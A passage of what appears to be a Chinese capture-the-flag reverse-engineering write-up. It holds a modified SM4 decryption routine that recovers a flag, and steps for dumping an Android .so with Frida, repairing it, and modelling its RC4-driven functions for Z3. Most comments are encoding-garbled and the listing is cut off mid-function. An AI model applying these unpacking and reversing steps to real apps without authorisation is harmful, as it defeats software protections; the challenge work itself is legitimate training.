    0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
    0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
    0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
    0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
    0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
    0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
    0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};


void four_uCh2uLong1(u8 *in, u32 *out)
{
    int i = 0;
    *out = 0;
    for (i = 0; i < 4; i++)
        *out = ((u32)in[i] << (24 - i * 8)) ^ *out;
    //*out = (*out>>8)|(*out<<32-8);
}


void uLong2four_uCh1(u32 in, u8 *out)
{
    int i = 0;
    //浠?2浣島nsigned long鐨勯珮浣嶅紑濮嬪彇
    for (i = 0; i < 4; i++)
        *(out + i) = (u32)(in >> (24 - i * 8));
    //u8 tmp = out[0];
    //for (i = 0; i < 4; i++)
    //    *(out + i) = *(out + (i+1)%4);
    //out[3] = tmp;
}



void four_uCh2uLong(u8 *in, u32 *out)
{
    int i = 0;
    *out = 0;
    for (i = 0; i < 4; i++)
        *out = ((u32)in[i] << (24 - i * 8)) ^ *out;
    *out = (*out>>8)|(*out<<32-8);
}


void uLong2four_uCh(u32 in, u8 *out)
{
    int i = 0;
    //浠?2浣島nsigned long鐨勯珮浣嶅紑濮嬪彇
    for (i = 0; i < 4; i++)
        *(out + i) = (u32)(in >> (24 - i * 8));
    u8 tmp = out[0];
    for (i = 0; i < 4; i++)
        *(out + i) = *(out + (i+1)%4);
    out[3] = tmp;
}


//锟斤拷锟狡o拷锟斤拷锟斤拷锟斤拷锟斤拷位锟斤拷锟斤拷尾锟斤拷
u32 move(u32 data, int length)
{
    u32 result = 0;
    result = (data << length) ^ (data >> (32 - length));

    return result;
}

//锟斤拷钥锟斤拷锟斤拷锟斤拷锟斤拷,锟斤拷使锟斤拷Sbox锟斤拷锟叫凤拷锟斤拷锟皆变化锟斤拷锟劫斤拷锟斤拷锟皆变换L锟矫伙拷为L'
u32 func_key(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

    return ulTmp;
}

//锟接斤拷锟斤拷锟斤拷锟捷达拷锟斤拷锟斤拷锟斤拷,锟斤拷使锟斤拷Sbox锟斤拷锟叫凤拷锟斤拷锟皆变化锟斤拷锟劫斤拷锟斤拷锟斤拷锟皆变换L
u32 func_data(u32 input)
{
    int i = 0;
    u32 ulTmp = 0;
    u8 ucIndexList[4] = { 0 };
    u8 ucSboxValueList[4] = { 0 };
    printf("\niinput: %x\n",input);
    uLong2four_uCh(input, ucIndexList);
    for (i = 0; i < 4; i++)
    {
        ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
        
    }
    four_uCh2uLong(ucSboxValueList, &ulTmp);
    printf("\nulTmp1: %x\n",ulTmp);
    ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);
    printf("\nulTmp2: %x\n",ulTmp);
    return ulTmp;
}

//锟斤拷锟杰猴拷锟斤拷锟斤拷锟斤拷锟皆硷拷锟斤拷锟斤拷锟解长锟斤拷锟斤拷锟捷o拷16锟街斤拷为一锟斤拷循锟斤拷锟斤拷锟斤拷锟姐部锟街诧拷0锟斤拷锟斤拷16锟街节碉拷锟斤拷锟斤拷锟斤拷锟斤拷
//len:锟斤拷锟捷筹拷锟斤拷(锟斤拷锟解长锟斤拷锟斤拷锟斤拷) key:锟斤拷钥锟斤拷16锟街节o拷 input:锟斤拷锟斤拷锟皆硷拷锟斤拷锟?output:锟斤拷锟杰猴拷锟斤拷锟斤拷锟斤拷锟?
void encode_fun(u8 len,u8 *key, u8 *input, u8 *output)
{
    int i = 0,j=0; 
    u8 *p = (u8 *)malloc(50);      //锟斤拷锟斤拷一锟斤拷50锟街节伙拷锟斤拷锟斤拷
    u32 ulKeyTmpList[4] = { 0 };   //锟芥储锟斤拷钥锟斤拷u32锟斤拷锟斤拷
    u32 ulKeyList[36] = { 0 };     //锟斤拷锟斤拷锟斤拷钥锟斤拷展锟姐法锟斤拷系统锟斤拷锟斤拷FK锟斤拷锟斤拷锟侥斤拷锟斤拷娲?
    u32 ulDataList[36] = { 0 };    //锟斤拷锟节达拷偶锟斤拷锟斤拷锟斤拷锟?

    /***************************锟斤拷始锟斤拷锟斤拷锟斤拷锟斤拷钥********************************************/
    four_uCh2uLong(key, &(ulKeyTmpList[0]));
    four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
    four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
    four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

    for(i=0;i<4;i++)
    {
        printf("0x%x ",ulKeyTmpList[i]);
        
    }
    
    
    ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
    ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
    ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
    ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];
    printf("\n ulKeyList \n");
    for (i = 0; i < 32; i++)             //32锟斤拷循锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
    {
        //5-36为32锟斤拷锟斤拷锟斤拷钥
        ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
        printf("%x\n",ulKeyList[i + 4]);
    }
    
    /***********************************锟斤拷锟斤拷32锟斤拷32位锟斤拷锟斤拷锟斤拷钥锟斤拷锟斤拷**********************************/

    for (i = 0; i < len; i++)        //锟斤拷锟斤拷锟斤拷锟斤拷锟捷达拷锟斤拷锟絧锟斤拷锟斤拷锟斤拷
        *(p + i) = *(input + i);
    for (i = 0; i < 16-len % 16; i++)//锟斤拷锟斤拷锟斤拷16位锟斤拷0锟斤拷锟斤拷16锟斤拷锟斤拷锟斤拷锟斤拷
        *(p + len + i) = 0;
    
    for (j = 0; j < len / 16 + ((len % 16) ? 1:0); j++)  //锟斤拷锟斤拷循锟斤拷锟斤拷锟斤拷,锟斤拷锟斤拷锟斤拷锟杰猴拷锟斤拷锟捷憋拷锟芥(锟斤拷锟皆匡拷锟斤拷锟剿达拷锟斤拷锟斤拷16锟街斤拷为一锟轿硷拷锟杰o拷锟斤拷锟斤拷循锟斤拷锟斤拷锟斤拷锟斤拷16锟街斤拷锟斤拷锟斤拷锟揭伙拷危锟?7锟街节诧拷0锟斤拷32锟街节猴拷锟斤拷屑锟斤拷锟斤拷锟斤拷危锟斤拷源锟斤拷锟斤拷疲锟?
    {
        
        /*锟斤拷始锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷*/
        four_uCh2uLong(p + 16 * j, &(ulDataList[0]));
        four_uCh2uLong(p + 16 * j + 4, &(ulDataList[1]));
        four_uCh2uLong(p + 16 * j + 8, &(ulDataList[2]));
        four_uCh2uLong(p + 16 * j + 12, &(ulDataList[3]));
        printf("\n input data \n");
        for(i=0;i<4;i++)
        {
        printf("0x%x ",ulDataList[i]);
        
        }    
        printf("\n"); 
        printf("\n ulDataList \n");
        //锟斤拷锟斤拷
        for (i = 0; i < 32; i++)
        {
            printf("\n  0x%x 0x%x 0x%x 0x%x  \n",ulDataList[i + 1] ,ulDataList[i + 2] , ulDataList[i + 3] , ulKeyList[i + 4]);
            ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[i + 4]);
            printf("result:  %x\n",ulDataList[i + 4] );
            ulDataList[i + 4] ^= 0xdeadbeef;
            printf("xor result:  %x\n",ulDataList[i + 4] );
        }
        /*锟斤拷锟斤拷锟杰猴拷锟斤拷锟斤拷锟斤拷锟?/
        uLong2four_uCh(ulDataList[35], output + 16 * j);
        uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
        uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
        uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
        printf("\n"); 
 
        
    }
    free(p);
}

//锟斤拷锟杰猴拷锟斤拷锟斤拷锟斤拷锟斤拷芎锟斤拷锟斤拷锟斤拷锟揭伙拷拢锟街伙拷锟斤拷锟皆渴癸拷玫锟剿筹拷锟酵拷锟斤拷锟斤拷锟皆匡拷追锟斤拷锟斤拷镁锟斤拷墙锟斤拷埽锟?
//len:锟斤拷锟捷筹拷锟斤拷 key:锟斤拷钥 input:锟斤拷锟斤拷募锟斤拷芎锟斤拷锟斤拷锟?output:锟斤拷锟斤拷慕锟斤拷芎锟斤拷锟斤拷锟?
void decode_fun(u8 len,u8 *key, u8 *input, u8 *output)
{
    int i = 0,j=0;
    u32 ulKeyTmpList[4] = { 0 };//锟芥储锟斤拷钥锟斤拷u32锟斤拷锟斤拷
    u32 ulKeyList[36] = { 0 };  //锟斤拷锟斤拷锟斤拷钥锟斤拷展锟姐法锟斤拷系统锟斤拷锟斤拷FK锟斤拷锟斤拷锟侥斤拷锟斤拷娲?
    u32 ulDataList[36] = { 0 }; //锟斤拷锟节达拷偶锟斤拷锟斤拷锟斤拷锟?

    /*锟斤拷始锟斤拷锟斤拷锟斤拷锟斤拷钥*/
    four_uCh2uLong(key, &(ulKeyTmpList[0]));
    four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
    four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
    four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));
    
    ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
    ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
    ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
    ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

    for (i = 0; i < 32; i++)             //32锟斤拷循锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
    {
        //ulDataList[i + 4] ^= 0xdeadbeef;
        //5-36为32锟斤拷锟斤拷锟斤拷钥
        
        ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
    
    }
    /*锟斤拷锟斤拷32锟斤拷32位锟斤拷锟斤拷锟斤拷钥锟斤拷锟斤拷*/

    for (j = 0; j < len / 16; j++)  //锟斤拷锟斤拷循锟斤拷锟斤拷锟斤拷,锟斤拷锟斤拷锟斤拷锟杰猴拷锟斤拷锟捷憋拷锟斤拷
    {
        /*锟斤拷始锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷*/
        four_uCh2uLong(input + 16 * j, &(ulDataList[0]));
        four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1]));
        four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2]));
        four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3]));

        //锟斤拷锟斤拷
        for (i = 0; i < 32; i++)
        {
            ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i])^ 0xdeadbeef;//锟斤拷锟斤拷锟轿ㄒ伙拷锟酵拷木锟斤拷锟斤拷锟斤拷锟皆匡拷锟绞癸拷锟剿筹拷锟?
        }
        /*锟斤拷锟斤拷锟杰猴拷锟斤拷锟斤拷锟斤拷锟?/
        uLong2four_uCh(ulDataList[35], output + 16 * j);
        uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
        uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
        uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
    }
}

//锟睫凤拷锟斤拷锟街凤拷锟斤拷锟斤拷转16锟斤拷锟狡达拷印
void print_hex(u8 *data, int len)
{
    int i = 0;
    char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
    for (i = 0; i < len; i++)
    {
        printf("%c", alTmp[data[i] / 16]);
        printf("%c", alTmp[data[i] % 16]);
        putchar(' ');
    }
    putchar('\n');
}
/*锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷实锟斤拷锟斤拷锟斤拷锟街节硷拷锟斤拷锟斤拷锟斤拷埽锟斤拷锟斤拷医锟斤拷锟斤拷确*/
int main(void)
{
    u8 i,len;
    u8 encode_Result[50] = { 0 };    //锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
    u8 decode_Result[50] = { 0 };    //锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
    u8 key[16] = "somethingverybad";       //锟斤拷锟斤拷16锟街节碉拷锟斤拷钥
    u8 iv[16] = "somethingnotgood";
    u8 Data_plain[16] = { 0x62,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,};//锟斤拷锟斤拷16锟街节碉拷原始锟斤拷锟斤拷锟斤拷锟捷o拷锟斤拷锟斤拷锟矫o拷
    len = 16 * (sizeof(Data_plain) / 16) + 16 * ((sizeof(Data_plain) % 16) ? 1 : 0);
    /*
    for(i =0 ;i<16;i++)
    {
        Data_plain[i]^=iv[i];
    }
    encode_fun(sizeof(Data_plain),key, Data_plain, encode_Result);
    for( i=0;i<16;i++)
    {
        printf("0x%x ",encode_Result[i]);
    }
    
    
    decode_fun(len,key, encode_Result, decode_Result);     
    
    printf("decrypt:\n");
    printf("key %s\n",key); 
    for (i = 0; i < len; i++)
        printf("%x ", (*(decode_Result + i))^=iv[i]);
    */
    u8 ccc1[32] = {  0xF0, 0xA8, 0xBC, 0x50, 0xD9, 0x3A, 0xF7, 0xCE, 0x49, 0x28, 
  0xEA, 0x77, 0x33, 0xB4, 0x17, 0xB0, 0x8E, 0xB9, 0xA5, 0xAD, 
  0xD2, 0x72, 0xDE, 0x2F, 0x46, 0x72, 0xF2, 0x4C, 0x6D, 0x41, 
  0x34, 0x38};
    u8 ccc[32] = {  0xF0, 0xA8, 0xBC, 0x50, 0xD9, 0x3A, 0xF7, 0xCE, 0x49, 0x28, 
  0xEA, 0x77, 0x33, 0xB4, 0x17, 0xB0, 0x8E, 0xB9, 0xA5, 0xAD, 
  0xD2, 0x72, 0xDE, 0x2F, 0x46, 0x72, 0xF2, 0x4C, 0x6D, 0x41, 
  0x34, 0x38};
   u8 flag[32];
   
   decode_fun(16,key, ccc, flag);
   for (i = 0; i < 16; i++)
        printf("%c", (*(flag+ i))^=iv[i]);
    decode_fun(16,key, &ccc[16], &flag[16]);
    for (i = 0; i < 16; i++)
        printf("%c", (*(flag+ i+16))^=ccc[i]);
    return 0;
}

SUAPP

写frida脚本把修改后的so库dump出来

并且把文件头修复一下

image-20250113132609906

然后使用fix-so工具修复so文件之后逆向

核心思路是利用rc4的算法生成伪随机数 然后根据伪随机数在函数列表中取函数以及参数执行加密操作

可以写idapy脚本将所有函数dump下来 最后使用Z3约束求解即可

cin = 'a'*32
print(cin)
ii,jj = 0,0
tt =0 
sbox=[0xd4,0x72,0xab,0x2a,0x46,0x5f,0xf8,0xc3,0x96,0xd6,0x32,0xd7,0x3d,0x69,0xd9,0x64,0xe1,0x65,0x41,0x24,0x3,0xd8,0x5c,0xec,0x7c,0x73,0xc4,0x43,0x8d,0x26,0x68,0xdc,0x3f,0x2c,0xe5,0x39,0x6b,0x4d,0x21,0xf4,0x4e,0x85,0xdd,0x13,0x8e,0xb4,0x3a,0x11,0xd0,0xf9,0xf3,0x9e,0xd1,0x5d,0x37,0x61,0x95,0xea,0x5b,0x99,0x9c,0xb3,0x7,0x2e,0x4,0xf,0x89,0x57,0x5a,0xa7,0x4f,0x82,0x76,0xa0,0xe6,0x63,0xf1,0x15,0x3e,0x1b,0xfd,0xc7,0xa8,0x31,0x6a,0xc6,0x8b,0xd5,0x59,0x6d,0xe9,0x87,0x74,0x5,0x1e,0xb1,0x97,0xa,0xce,0x52,0xb9,0x8f,0xe7,0xac,0x8,0xa6,0x16,0xc2,0xf2,0x42,0x9a,0xfa,0xe2,0x86,0x53,0xff,0x55,0x23,0x71,0xb6,0x44,0xbd,0x8a,0xb2,0x28,0x54,0xc8,0xf0,0x7a,0x90,0xa4,0x7d,0xd3,0xdb,0x1a,0x22,0x20,0xb5,0x83,0xb0,0xa1,0xa5,0x84,0xb7,0x6,0x70,0xaa,0xbc,0xda,0x4b,0x34,0x67,0xd2,0x60,0x0,0xc5,0xd,0x56,0xa3,0x98,0x2d,0x7f,0x1d,0x3b,0xaf,0xe3,0x7b,0x93,0x7e,0x6f,0x6c,0xa9,0x36,0xde,0xbe,0xc9,0x2,0x48,0x8c,0xe8,0xfe,0x62,0x3c,0xca,0x33,0xfc,0xdf,0xee,0x40,0xf5,0xcb,0x47,0x79,0xb,0x2b,0x29,0x94,0xcd,0xba,0x51,0xae,0x58,0x12,0x14,0x88,0xeb,0x9b,0x77,0x1c,0x27,0xe0,0x4c,0x38,0x91,0x49,0xcc,0xa2,0xc1,0x25,0xcf,0xf7,0x9d,0x2f,0xc0,0x45,0x17,0x35,0x92,0x9f,0x4a,0x78,0x66,0xf6,0x5e,0xfb,0xbb,0x10,0x81,0x1,0xe,0x6e,0x9,0xb8,0x18,0x50,0xad,0xe4,0x30,0x80,0x75,0xef,0xed,0x19,0xbf,0xc,0x1f]


def  a224(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a264(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  a2b0(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a2f0(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  a33c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a370(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  a3bc(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  a3fc(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  a43c(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  a47c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a4b0(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a4e4(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a524(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a564(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  a5a4(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a5d8(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a618(a1, a2, a3):
  return (a1 + a3 + a2)
def  a64c(a1, a2, a3):
  return (a1 + a3 + a2)
def  a680(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  a6cc(a1, a2, a3):
  return (a1 + a3 + a2)
def  a700(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  a74c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a78c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a7c0(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a7f4(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  a840(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a874(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a8b4(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  a900(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  a940(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  a980(a1, a2, a3):
  return (a1 + a3 + a2)
def  a9b4(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  a9e8(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  aa1c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  aa50(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  aa9c(a1, a2, a3):
  return (a1 + a3 + a2)
def  aad0(a1, a2, a3):
  return (a1 + a3 + a2)
def  ab04(a1, a2, a3):
  return (a1 + a3 + a2)
def  ab38(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  ab84(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  abc4(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  ac10(a1, a2, a3, a4,  a5):
  return (a1 ^ a3 ^ a4 ^ a5) + a2
def  ac5c(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  aca8(a1, a2, a3):
  return (a1 + a3 + a2)
def  acdc(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  ad1c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  ad50(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  ad90(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  add0(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  ae10(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  ae5c(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  ae9c(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  aedc(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  af28(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  af68(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  afa8(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  afe8(a1, a2, a3):
  return (a1 + a3 + a2)
def  b01c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b05c(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  b0a8(a1, a2, a3):
  return (a1 + a3 + a2)
def  b0dc(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b11c(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  b168(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b1a8(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b1e8(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  b234(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b274(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  b2c0(a1, a2, a3):
  return (a1 + a3 + a2)
def  b2f4(a1, a2, a3):
  return (a1 + a3 + a2)
def  b328(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  b35c(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  b3a8(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  b3f4(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b434(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  b480(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b4c0(a1, a2, a3, a4,  a5):
  return ((a1 + a3) ^ a4 ^ a5) + a2
def  b50c(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b54c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b58c(a1, a2, a3):
  return (a1 + a3 + a2)
def  b5c0(a1, a2, a3):
  return (a1 + a3 + a2)
def  b5f4(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b634(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b674(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  b6c0(a1, a2, a3, a4,  a5):
  return ((a1 + a3) ^ a4 ^ a5) + a2
def  b70c(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  b758(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b798(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  b7e4(a1, a2, a3, a4,  a5):
  return (a1 ^ a3 ^ a4 ^ a5) + a2
def  b830(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  b870(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  b8b0(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b8f0(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  b93c(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  b970(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  b9bc(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  b9fc(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  ba48(a1, a2, a3):
  return (a1 + a3 + a2)
def  ba7c(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  babc(a1, a2, a3, a4):
  return (a1 ^ (a3 + a4)) + a2
def  bafc(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  bb30(a1, a2, a3):
  return (a1 + a3 + a2)
def  bb64(a1, a2, a3):
  return (a1 + a3 + a2)
def  bb98(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  bbe4(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  bc18(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  bc64(a1, a2, a3, a4,  a5):
  return ((a1 + a3) ^ a4 ^ a5) + a2
def  bcb0(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  bcf0(a1, a2, a3):
  return (a1 + a3 + a2)
def  bd24(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  bd64(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  bdb0(a1, a2, a3, a4, a5):
  return (a1 ^ (a3 + a4 + a5)) + a2
def  bdfc(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  be30(a1, a2, a3):
  return (a1 + a3 + a2)
def  be64(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  bea4(a1, a2, a3):
  return (a1 + a3 + a2)
def  bed8(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  bf0c(a1, a2, a3):
  return (a1 + a3 + a2)
def  bf40(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  bf74(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  bfb4(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  bff4(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  c034(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c074(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c0b4(a1, a2, a3):
  return (a1 + a3 + a2)
def  c0e8(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  c134(a1, a2, a3, a4):
  return (a1 + a3 + a4 + a2)
def  c174(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  c1b4(a1, a2, a3,  a4):
  return ((a1 + a3) ^ a4) + a2
def  c1f4(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  c240(a1, a2,  a3):
  return (a1 ^ a3) + a2
def  c274(a1, a2, a3, a4,  a5):
  return ((a1 + a3 + a4) ^ a5) + a2
def  c2c0(a1, a2, a3):
  return (a1 + a3 + a2)
def  c2f4(a1, a2, a3, a4, a5):
  return (a1 + a3 + a4 + a5 + a2)
def  c340(a1, a2, a3,  a4):
  return (a1 ^ a3 ^ a4) + a2
def  c380(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  c3cc(a1, a2, a3):
  return (a1 + a3 + a2)
def  c400(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  c44c(a1, a2, a3, a4,  a5):
  return (a1 ^ (a3 + a4) ^ a5) + a2
def  c498(a1, a2, a3):
  return (a1 + a3 + a2)
def  c4cc(a1, a2, a3):
  return (a1 + a3 + a2)
def  c500(a1, a2, a3, a4, a5):
  return (a1 ^ a3 ^ (a4 + a5)) + a2
def  c54c(a1, a2, a3, a4, a5):
  return ((a1 + a3) ^ (a4 + a5)) + a2
def  c598(a1, a2, a3, a4):
